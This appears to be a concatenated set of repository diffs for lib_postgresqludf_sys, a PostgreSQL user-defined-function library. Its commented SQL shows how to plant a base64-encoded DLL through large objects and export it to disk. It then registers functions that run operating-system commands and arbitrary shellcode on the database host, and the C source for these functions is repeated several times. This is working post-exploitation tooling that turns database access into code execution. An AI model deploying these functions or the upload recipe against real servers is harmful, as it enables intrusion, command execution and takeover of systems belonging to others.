-- UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAABTHoNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAkBAAABAQAACgEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- Create a new OID for a large object, it implicitly adds an entry in the
-- PostgreSQL large objects system table
--
-- References:
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
SELECT lo_unlink(35817);
SELECT lo_create(35817);
-- Update the PostgreSQL system large objects table assigning to the just
-- created OID the binary (base64 decoded) UDF as data
--
-- Refereces:
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-- Export the binary UDF OID to a file on the file system
--
-- Any folder where postgres user has read/write/execute access is valid
-- SELECT lo_export(35817, E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll');
--
-- Notes:
-- If the library file already exists, the user postgres does not have
-- access to overwrite it
-- The following enumerates the PostgreSQL data directory
-- SELECT CURRENT_SETTING('data_directory')
-- Reference:
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
-- The following will save into C:\Program Files\PostgreSQL\8.3\data
SELECT lo_export(35817, 'lib_postgresqludf_sys.dll'); -- Favourite one, no need to enumerate the PostgreSQL data directory before
-- The following will save into nowhere
-- SELECT lo_export(35817, E'\lib_postgresqludf_sys.dll');
-- The following would save into C:\ (Permission denied)
-- SELECT lo_export(35817, E'\\lib_postgresqludf_sys.dll');
-- Create two functions from the binary UDF file
-- CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- Test the two functions
SELECT sys_exec('echo test > %TEMP%/lib_postgresqludf_sys.txt'); -- %TEMP% path is C:\Documents and Settings\postgres\Local Settings\Temp
SELECT sys_eval('echo %TEMP% && whoami');
-- Cleanup the file system and the database
SELECT sys_exec('del %TEMP%\\lib_postgresqludf_sys.*');
DROP TABLE IF EXISTS udftest;
DROP FUNCTION IF EXISTS sys_exec(text);
DROP FUNCTION IF EXISTS sys_eval(text);

View File

@@ -0,0 +1,11 @@
LIBDIR=/tmp
8.2:
gcc -Wall -I/usr/include/postgresql/8.2/server -O1 -shared src/8.2/lib_postgresqludf_sys.c -o so/8.2/lib_postgresqludf_sys.so
strip -sx so/8.2/lib_postgresqludf_sys.so
cp -f so/8.2/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
8.3:
gcc -Wall -I/usr/include/postgresql/8.3/server -O1 -shared src/8.3/lib_postgresqludf_sys.c -o so/8.3/lib_postgresqludf_sys.so
strip -sx so/8.3/lib_postgresqludf_sys.so
cp -f so/8.3/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so

View File

@@ -0,0 +1,55 @@
#!/bin/bash
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2009 Bernardo Damele A. G.
# web: http://bernardodamele.blogspot.com/
# email: bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment
#PORT="5433"
#VERSION="8.2"
PORT="5432"
VERSION="8.3"
USER="postgres"
echo "Compiling the PostgreSQL UDF"
make ${VERSION}
if test $? -ne 0; then
echo "ERROR: You need postgresql-server development software installed"
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
if test "${VERSION}" == "8.2"; then
echo "apt-get install postgresql-server-dev-8.2"
else
echo "apt-get install postgresql-server-dev-8.3"
fi
exit 1
else
echo "PostgreSQL UDF compiled successfully"
fi
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "PostgreSQL UDF installed successfully"
fi

View File

@@ -0,0 +1,24 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -0,0 +1,192 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -0,0 +1,192 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -0,0 +1,24 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -0,0 +1,192 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -0,0 +1,192 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
